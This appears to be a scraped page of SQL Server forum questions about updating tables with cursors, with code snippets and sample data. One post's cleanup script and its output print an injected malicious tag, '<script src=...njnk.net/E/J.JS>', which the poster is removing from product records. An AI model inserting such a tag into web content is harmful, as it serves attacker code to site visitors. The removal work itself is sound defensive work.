How Do U Update A Row In A Table Using Cursor ?
Mar 11, 2008How do you do this by using this cursor mechanisum ? and which type of cursor is best to do that ?
View 1 Replies
ADVERTISEMENT
T-SQL (SS2K8) :: Cursor Table Update
May 6, 2015DECLARE @id VARCHAR(10)
DECLARE myCursor CURSOR LOCAL FAST_FORWARD FOR
SELECT [ServersList] AS 'ID'
FROM dbo.Servers
[code]...
How do loop a table server(serverlist,flag) table with these 2 columns.And ping each of the servers in the table and update the flag column to '1' if ping has been successfull or flag to '0' if ping has been unsuccessfull.
Cursor Count Loop - Update Table
Jul 6, 2000I am importing a text file that list invoice columns. The invoice detail table needs the line items to be listed with sequential numbers. I import the file to a temp table to do the work in and I know I need to have the cursor do loop through and count, however, I have no more hair to pull out.
The table looks something like this.
inv# SKU
1001 ABC123
1001 DEF456
1001 GHI789
1002 123DEF
1002 456GHI
1002 876HGT
I need the cursor to go through and number each line, something like this.
inv# SKU Line#
1001 ABC123 1
1001 DEF456 2
1001 GHI789 3
1002 123DEF 1
1002 456GHI 2
1002 876HGT 3
Any help is greatly appriciated.
Thanks
SQL 2012 :: How To Update And Join Table With Cursor
Jul 15, 2014I have table A
|account | Unmort |
| A |10.000.000 |
and a Table B
|account| Jenis | Nominal | Unmort |Total|
-------------------------------------------
| A | 021 | 200.000| - | - |
| A | 028 | 3.200.000| - | - |
| A | 023 | 7.200.000| - | - |
how to update to be like this??
|account| Jenis |Nominal | Unmort |Total |
| A | 021 |200.000 | - |200.000 |
| A | 028 |3.200.000 | 2.800.000 |400.000 |
| A | 023 |7.200.000 | 7.200.000 | 0 |
for this type of account number jenis 021 Field Unmort Fill set= 0 and Field Total must not be a minus...
Join Cursor With Table Outside Of Cursor
Sep 25, 2007part 1
Declare @SQLCMD varchar(5000)
DECLARE @DBNAME VARCHAR (5000)
DECLARE DBCur CURSOR FOR
SELECT U_OB_DB FROM [@OB_TB04_COMPDATA]
OPEN DBCur
FETCH NEXT FROM DBCur INTO @DBNAME
WHILE @@FETCH_STATUS = 0
BEGIN
SELECT @SQLCMD = 'SELECT T0.CARDCODE, T0.U_OB_TID AS TRANSID, T0.DOCNUM AS INV_NO, ' +
+ 'T0.DOCDATE AS INV_DATE, T0.DOCTOTAL AS INV_AMT, T0.U_OB_DONO AS DONO ' +
+ 'FROM ' + @DBNAME + '.dbo.OINV T0 WHERE T0.U_OB_TID IS NOT NULL'
EXEC(@SQLCMD)
PRINT @SQLCMD
FETCH NEXT FROM DBCur INTO @DBNAME
END
CLOSE DBCur
DEALLOCATE DBCur
Part 2
SELECT
T4.U_OB_PCOMP AS PARENTCOMP, T0.CARDCODE, T0.CARDNAME, ISNULL(T0.U_OB_TID,'') AS TRANSID, T0.DOCNUM AS SONO, T0.DOCDATE AS SODATE,
SUM(T1.QUANTITY) AS SOQTY, T0.DOCTOTAL - T0.TOTALEXPNS AS SO_AMT, T3.DOCNUM AS DONO, T3.DOCDATE AS DO_DATE,
SUM(T2.QUANTITY) AS DOQTY, T3.DOCTOTAL - T3.TOTALEXPNS AS DO_AMT
INTO #MAIN
FROM
ORDR T0
JOIN RDR1 T1 ON T0.DOCENTRY = T1.DOCENTRY
LEFT JOIN DLN1 T2 ON T1.DOCENTRY = T2.BASEENTRY AND T1.LINENUM = T2.BASELINE AND T2.BASETYPE = T0.OBJTYPE
LEFT JOIN ODLN T3 ON T2.DOCENTRY = T3.DOCENTRY
LEFT JOIN OCRD T4 ON T0.CARDCODE = T4.CARDCODE
WHERE ISNULL(T0.U_OB_TID,0) <> 0
GROUP BY T4.U_OB_PCOMP, T0.CARDCODE,T0.CARDNAME, T0.U_OB_TID, T0.DOCNUM, T0.DOCDATE, T3.DOCNUM, T3.DOCDATE, T0.DOCTOTAL, T3.DOCTOTAL, T3.TOTALEXPNS, T0.TOTALEXPNS
my question is,
how to join the part 1 n part 2?
is there posibility?
Update Cursor
Dec 20, 2001hi,
can anybody give me an example of an update cursor. With wich i mean 'cursor for update ...'.
i want to make a cursor that selects a whole table, then checks a field and if this field matches my requests, then update it.
I have no experience with cursors.
Thanx in advance.
Using Cursor For Update Statement?
May 9, 2012I would like to get the results of a cursor into update statement but it fills only the last record of the cursor
this is the cursor:
Code:
DECLARE @avg varchar(50)
DECLARE @cur_avg CURSOR
SET @cur_avg = CURSOR FOR
select cast(avg(cast(reply as decimal(12,2))) as decimal(12,2)) from tbl_app_monitoring
group by test_name, application_id
this is the update statement:
Code:
OPEN @cur_avg
FETCH @cur_avg INTO @avg
WHILE (@@FETCH_STATUS = 0) BEGIN
UPDATE tbl_app_monitoring_archive
SET average = @avg
FETCH @cur_avg INTO @avg
END
is it also possible to do this without the cursor ?
Update Record In A Cursor
Apr 20, 2004Please tell me how to code the Update of the current cursor record as one would do using VD/ADO :
VB: Table("Fieldname") = Value
----------------------------------------------------------
Declare @NextNo integer
Select @NextNo = (Select NextNo from NextNumbers where NNId = 'AddressBook') + 1
--Create a Cursor through wich to lo loop and Update the ABAN8 with the corrrect NextNo
DECLARE Clone_Cursor CURSOR FOR Select ABAN8 from JDE_Train.trndta.F0101_Clone
Open Clone_Cursor
Fetch Next from Clone_Cursor
WHILE @@FETCH_STATUS = 0
BEGIN
Select @NextNo = @NextNo + 1
Clone_Cursor("ABAN8") = @NextNo
Update Clone_Cursor
FETCH NEXT FROM Clone_Cursor
END
CLOSE Clone_Cursor
DEALLOCATE Clone_Cursor
GO
UPDATE CURSOR - Declaring And Use.
Jul 20, 2005I need to do something relatively simple…I need to update a table using a cursor. (I may have to create astored procedure for doing this…)I need to declare an update cursor, fetch the cursor and update thedata (and presumably close the cursor and de-allocate it…The update query is as follows… Would anyone there know how todeclare the cursor for update and use it?UPDATE ASET A.Field1 =(SELECT B.Field1FROM B INNER JOIN A ON A.id = B.id)I need to know how to declare the cursor and fetch it.Can anyone give me an example of the code I need for the SQL Server?Thanks!
View 4 Replies View RelatedError On Update, But Not When Using Cursor
Dec 7, 2006I've implemented a UDF in SQL Server 2005 written in C#. The function with its assembly has been registered ok with SQL Server and works fine. It accepts three short strings (nvarchar of lengths 5, 35, and 35) and returns a SQL formatted string (SqlString).
When I run the function to test it it works just fine, and the same is true if I run the function inside a cursor to update a field in a table. But when I do a simple update it crashes. I've so far received two different errors: first one error saying a string could not be converted into an integer (but the error does not occur when I enter the same input values manually via a test Windows form, or through the new Query Analyzer as a single query - or using it inside a cursor). Then one error saying a string was too short (I couldn't use substring(X, Y) because the string, I was told, was too short - it wasn't).
The problem thus cannot be with the function since it works just fine if I do like this:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3) WHERE PersonId = 10000001
And it works fine while doing the same thing inside a cursor (for instance working with the first 10, 100 or 1000 records).
But when I do this it crashes:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3)
For your information the table has about 1.5M records (for testing, it contain more data when on the production server) and my aim is to update the CodeField column as quickly as possible. The CodeField is a 12-character string that is based on a rather complex algorithm including the Field1, Field2 and Field3 strings. I'm using C# because it manages strings much better than SQL Server - and it is so much easier coding this stuff.
Anyhow, I've had this kind of problem before with SQL Servers 2000 and 7 (maybe even 6.5) and it seems the problem occurs when I let SQL Server go about its business at its own pace. But when I do something to control that it really takes one record at a time (through using a cursor or executing the query with a WHERE clause like the one above) it works splendidly.
The problem here is that a cursor is way too slow, and there really shouldn't be a problem with a simple UPDATE command, should it? After all, everything works just fine except when I let SQL Server do what it does best (i.e. update the field at its own speed, whatever that is).
Any ideas? This is very frustrating since it is impossible to try and find the error - it isn't there when testing! And it is frustrating since I remember having had the same kind of problem (but every time with different errors arising) before without finding a solution (except for slowing everything down - not an option here).
Is there a certain tweak I can do to make things work out, or should I code things differently?
Thanks!
Cursor Update Creating Nulls
Feb 1, 2008So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.
Code:
use db7021
go
select * from products
go
declare @desc varchar(max)
declare @virus varchar(128)
set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>'
declare @start int
declare @end int
declare thecursor CURSOR LOCAL SCROLL_LOCKS
for select cdescription from products
where cdescription like ('%' + @virus + '%')
for update of cdescription
open thecursor
fetch next from thecursor into @desc
while @@FETCH_STATUS = 0
begin
print @desc
set @start = charindex(@virus, @desc)
set @end = @start + len(@virus)
print cast(@start as char) + ', ' + cast(@end as char)
set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1)
update products
set cdescription = @desc
where current of thecursor
fetch next from thecursor into @desc
end
close thecursor
deallocate thecursor
select * from products
go
Which produces the output:
Code:
id cname cdescription
----------- ----------- ----------------------------------------------------------------------------------------
1 banana sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
2 apple sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
3 lolcat sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
4 cheezburgr sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
(4 row(s) affected)
sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
id cname cdescription
----------- ------------ ------------
1 banana NULL
2 apple NULL
3 lolcat NULL
4 cheezburgr NULL
(4 row(s) affected)
I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.
Maybe I've missed something in the syntax for cursors?
Variable As Field Name In CURSOR FOR UPDATE
Dec 10, 2005I'm trying something like:
UPDATE tbl SET @varFieldName = @varValue
The procedure runs, and when I PRINT @varFieldName, it looks fine, but the table isn't getting updated, and no errors, wierd.
I have the CURSOR open for update, but I didn't list the field names, that shouldn't be a problem, as all fields should be updateable then.
To get the field name, I :
SET @varFieldName = 'SomeChars' + LTRIM(STR(asmallint)) + 'SomeMoreChars'
Thanks,
Carl
One Statement Update - Join, No Cursor ?
Jul 20, 2005HI AllI have a process that I am trying to accomplish with one statement. Icannot think of any way to do it other than using a cursor.I was wondering if anyone could point me in the right direction.I want to update the Domain in Table A with the Domain in Table Bwhere A.Account = B.Account with the highest rank.----------------------------------Table A--------------------------------------------------------------------Account|Domain--------------------------------------------------------------------Micorsoft|null----------------------------------IBM|null-------------------------------------------------------------TAble B--------------------------------------------------------------------------------------------------------------------------Account|Domain|Rank--------------------------------------------------------------------------------------------------------------------------Micorsoft|microsoft.com|9-------------------------------------------------------------Micorsoft|yahoo.com|2-------------------------------------------------------------Micorsoft|hotmail.com|1Thanks!!!
View 6 Replies View RelatedTransact SQL :: Update Statement With Cursor
Jun 16, 2015When I run this update statement, it updates the proper badgenumbers but it only updates them to 1 when I did a count? As the data displays some of the results should be more than 1. Why did this occur?
Declare
@count int,
@Assignment varchar(100),
@fullname varchar(100),
@timeworkedtoday decimal(18,2),
@badgeNum varchar(50),
@ticket varchar(50)
[Code] ....
Read The Csv In A Cursor Instead Of Bulk Update
Feb 13, 2008Hello,
I am trying to read in from a csv file which works like this:
DECLARE @doesExist INT
DECLARE @fileName VARCHAR(200)
SET @fileName = 'c:file.csv'
SET NOCOUNT ON
EXEC xp_fileexist "' + @fileName + '", @doesExist OUTPUT
SET NOCOUNT OFF
IF @doesExist = 1
BEGIN
BULK INSERT OrdersBulk
FROM "' + @fileName + '"
WITH
(
FIELDTERMINATOR = ',',
ROWTERMINATOR = ''
)
END
ELSE
print('Error cant find file')
What I want to do is check another table before each line inserts, if the data already exists I want to do an UPDATE.
I think i can do what i need with a cursor but I think the bulk update just pushes all the data up and will not allow me to put in the cursor.
So is there a way i can read the csv in a cursor instead of using the bulk insert so i can examine each row?
Is It Possible To Use This One Query To Update The QUAL_SCORE Field Without Using Cursor
Dec 7, 2007UPDATE SCORESET QUAL_SCORE = ((SCORE - average_score)/deviation_score)*(-0.25) +((accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25))WHERE SCORES.DISABLEMENT_ZIP = v_disablement_zipAND SCORES.EQPMNT_CODE = v_eqpmnt_code;
is it possible to use this one query to update the QUAL_SCORE field without using cursor.if SCORE and deviation_score are 0, Then (SCORE - average_score)/deviation_score)*(-0.25) is 0,if accuracy_score and accuracy_deviation_score are 0, then (accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25 is 0.
Thanks
SQL 2000 Partitioned View Works Fine, But CURSOR With FOR UPDATE Fails To Declare
Oct 17, 2006This one has me stumped.
I created an updateable partioned view of a very large table. Now I get an error when I attempt to declare a CURSOR that SELECTs from the view, and a FOR UPDATE argument is in the declaration.
There error generated is:
Server: Msg 16957, Level 16, State 4, Line 3
FOR UPDATE cannot be specified on a READ ONLY cursor
Here is the cursor declaration:
declare some_cursor CURSOR
for
select *
from part_view
FOR UPDATE
Any ideas, guys? Thanks in advance for knocking your head against this one.
PS: Since I tested the updateability of the view there are no issues with primary keys, uniqueness, or indexes missing. Also, unfortunately, the dreaded cursor is requried, so set based alternatives are not an option - it's from within Peoplesoft.
Update One Colum With Other Column Value In Same Table Using Update Table Statement
Jun 14, 2007Hi,I have table with three columns as belowtable name:expNo(int) name(char) refno(int)I have data as belowNo name refno1 a2 b3 cI need to update the refno with no values I write a query as belowupdate exp set refno=(select no from exp)when i run the query i got error asSubquery returned more than 1 value. This is not permitted when thesubquery follows =, !=, <, <= , >, >= or when the subquery is used asan expression.I need to update one colum with other column value.What is the correct query for this ?Thanks,Mani
View 3 Replies View RelatedPutting Data Into Table B From Table A Without Using A Cursor
Aug 24, 2006on SQL Server 2005, no SP.
Currently using a cursor in a stored procedure to retrieve data from one table and to put it into another table. like so:
declare @HTR money
declare @Uniqueid varchar(15)
declare cur_HTR cursor for
select uniqueid, sum(hours_to_resolve) as thtr from com_trail_helpdesk_module group by uniqueid
open cur_htr
fetch next from cur_HTR into @Uniqueid, @HTR
while @@fetch_status = 0 begin
update com_hpd_helpdesk_history
set total_hours_to_resolve = @HTR
where case_id_ = @Uniqueid
and dateasat = @dateasat
fetch next from cur_HTR into @Uniqueid, @HTR
end
close cur_htr
deallocate cur_htr
...
This is taking about 45 minutes each time to do 21k records. Is there a faster, better way to do this?
Table Name And Cursor
Mar 27, 2006I am using MS-SQL Server 2K....
I have a stored procedure that contains a cursor. Right now, the table name for the cursor is "hard-coded". I would like to be able to "soft-code" the table name, because the table name may vary (although the fields would always be the same).
Is this even possible?
The only workaround I can think of is to use an EXEC on a real-time built SQL statement into a temp table and then cursor through the temp table.
Is there a better way to do this?
Thanks...
SQL 2000 - Table .vs. Cursor
Aug 21, 2000can some on tell me which is better to use. the new TABLE data type in 2000 or cursors ????
thanks
Cursor Or Temp Table
Sep 16, 2004I just want to know which one is more efficient cursor or temp table for looping through a record set?
I am basically looking for better performance and server utilization.
Cursor On A Temp Table
May 18, 2007Hi all,
I have a task of rewriting all the old procs which were build on cursors, the management does want me to remove the cursor completely since that would mean rewriting everthing.. they want to use a temp table and run a cursor on the temp table. Since there are many cursors in each proc. Any suggestions on to go about it. I am against the use of cursor any everywhere in it , even if it calls for rewriting the whole db again.
I did some tests on running the old proc and the semi new proc , which runs a cursor from the temp table for the cursor query. And it even bad than the cursor only. what does this mean? Is it really a very bad idea to run cursor on a temp table?
Necessity is the mother of all inventions!
Cursor Or Temp Table
Aug 2, 2006Hi Chaps,
I want to write a stored procedure in which I will update the all calendar week values (stored in a table). And to achieve this I will have to loop through all the records present in calendar table.
I am just wondering that should I use Cursor or TEMP table (caz of performance issues)?
As it will be part of data warehouse so all the processing will be carried out at SERVER ( means no client)
Can any one tell me that which would be the best solution ( Cursor or Temp table) in my case and WHY?
Note: I am using SQL Server 2005 standard edition
waiting for quick reply.
regards,
Anas
How To Iterate Through Table Variable Without Using Cursor
Aug 14, 2007Hi,
I need a small help. In my stored procedure, i create a table variable and fill it with records based on my query. The ID field within the table is not continous and can have any value in increasing order .e.g. The ID sequence may be like 20, 33, 34, 59, 78, 79... I want to iterate through each record within the table but without using a Cursor. I want to use a loop for this purpose. There are many articles pointing out how to iterate through records in a table variable but that requires the IDs to be continous which is not possible in my case. Can anyone help me solve this problem...
Any help is appreciated...
Will A Cursor Fetch Lock The Table
Sep 8, 2003Open a cursor , Fetch the record ,
during this kind of operation , will the specific table be locked and fail
to be updated or select by another session ?
Can't Reference Logical Table Within Cursor
Aug 3, 2004Does anyone know if MS SQL can't process a "select * from deleted" from within a cursor that's embedded in a trigger? I'm getting an error when I run this...
DECLARE check_contact_fields CURSOR
FOR SELECT field_id, column_name FROM contacts_fields
OPEN check_contact_fields
FETCH NEXT FROM check_contact_fields INTO @field_id, @column_name
WHILE (@@FETCH_STATUS = 0)
BEGIN
set @SQL = 'select ' + @column_name + ' into ##DeletedData from deleted'
exec sp_executesql @SQL
set @SQL = 'select ' + @column_name + ' into ##InsertedData from inserted'
exec sp_executesql @SQL
if (select * from ##DeletedData) <> (select * from ##InsertedData)
select * from ##InsertedData
FETCH NEXT FROM check_contact_fields INTO @field_id, @column_name
END
CLOSE check_contact_fields
DEALLOCATE check_contact_fields
drop table ##DeletedData
drop table ##InsertedData
Server: Msg 208, Level 16, State 1, Line 1
Invalid object name 'deleted'.
TIA
Declaring A Cursor On A Temporary Table
Jan 27, 2004How do I declare a cursor on a table like #TempPerson
when thhs table is only created when I do :
Select Name, Age Into #TempPerson From Person
Cursor From Diff Table -challenge
Apr 20, 2004I have 17 tables with names as Breaktable1, Breaktable2,.... till
Breaktable17
i make a query like this
set nocount on
Declare @sEventtable varchar(20)
Declare @sstartzoneid varchar(20)
Declare @ssttopzoneid varchar(20)
Select @sstartzoneid ='1'
Select @ssttopzoneid = '17'
select @sstartzoneid = convert(smallint,@sstartzoneid)
if @sstartzoneid<> 0
DECLARE Tablecursor FOR <-------> ( error here )
select status, sum(cost)
FROM "breaktable " + @sstartzoneid
where breakdate=DATEDIFF(day,'08/12/1960','03/29/2003')
group by status
CLOSE tableCursor
DEALLOCATE tableCursor
can somebody help ????
CURSOR And TABLE As Data Types?
Oct 1, 2013I consider CURSOR and TABLE as data types but some one has argued that these are database objects.
View 7 Replies View RelatedThe Cursor Does Not Include The Table ... Error?
Sep 4, 2007We use a lot of virtual machines. I have a base VM with SQL 2005 installed. I rename this VM (i have multiple copies running) and run an old application (VB code, iterates through recordsets, etc.).
I get: Microsoft][ODBC SQL Server Driver][SQL Server]Could not find server '2K3VM-DG' in sysservers. Execute sp_addlinkedserver to add the server to sysservers.
This makes sense, and I can fix it with sp_dropserver / sp_addserver [local]. Good.
The next error is puzzling though:
[Microsoft][ODBC SQL Server Driver][SQL Server]The cursor does not include the table being modified or the table is not updatable through the cursor.
Any suggestions on how to fix this?
Cursor To Store Value In Temp Table
Mar 20, 2008Following sp gives wrong result whats wrong with following cursor?
ALTER PROCEDURE [dbo].[spPMPT_GetProjectBenefitDetailsForAssess]
@ProjectBenefitID INT
AS
SET NOCOUNT ON
DECLARE @ErrorMsgID INT
DECLARE@ErrorMsg VARCHAR(200)
DECLARE @TEMP_BENEFIT
TABLE (ActualQuantity INT,
ExpectedQuantity INT,
ActualQulity VARCHAR(2000),
ExpectedQulity VARCHAR(2000) )
DECLARE @AssessBenefitID INT
DECLARE @ActualQuantity INT
DECLARE @ExpectedQuantity INT
DECLARE @ActualQuality VARCHAR(2000)
DECLARE @ExpectedQuality VARCHAR(2000)
DECLARE @AssessFlag CHAR
DECLARE CUR_BENEFIT CURSOR FOR
SELECT AssessBenefitID,ProjectBenefitID,AssessFlag FROM PMPT_AssessBenefit WHERE ProjectBenefitID=@ProjectBenefitID
OPEN CUR_BENEFIT
FETCH NEXT FROM CUR_BENEFIT INTO @AssessBenefitID,@ProjectBenefitID,@AssessFlag
WHILE @@FETCH_STATUS = 0
BEGIN
SELECT @ActualQuantity=Quantity FROM dbo.PMPT_AssessBenefit WHERE AssessFlag='A' AND AssessBenefitID=@AssessBenefitID AND ProjectBenefitID=@ProjectBenefitID
SELECT @ExpectedQuantity=Quantity FROM dbo.PMPT_AssessBenefit WHERE AssessFlag='E' AND AssessBenefitID=@AssessBenefitID AND ProjectBenefitID=@ProjectBenefitID
SELECT @ActualQuality=Quality FROM dbo.PMPT_AssessBenefit WHERE AssessFlag='A' AND AssessBenefitID=@AssessBenefitID AND ProjectBenefitID=@ProjectBenefitID
SELECT @ExpectedQuality=Quality FROM dbo.PMPT_AssessBenefit WHERE AssessFlag='E' AND AssessBenefitID=@AssessBenefitID AND ProjectBenefitID=@ProjectBenefitID
INSERT INTO @TEMP_BENEFIT (ActualQuantity ,
ExpectedQuantity ,
ActualQulity ,
ExpectedQulity )VALUES(@ActualQuantity,@ExpectedQuantity,@ActualQuality,@ExpectedQuality)
FETCH NEXT FROM CUR_BENEFIT INTO @AssessBenefitID,@ProjectBenefitID,@AssessFlag
END
CLOSE CUR_BENEFIT
DEALLOCATE CUR_BENEFIT
SELECT * FROM @TEMP_BENEFIT
Possible To Fetch Next From Cursor Into Table Variable?
Jan 28, 2008
Hello,
I have searched the net for an answer but could not find one. When I declare a table variable
and then try to insert fetched row into the table variable like:
Code Snippet
declare @table table (col1 nvarchar(50), col2 nvarchar(50))
declare curs for
select * from sometable
open curs
fetch next from curs into @table
it does not work. any help would be great.
thnx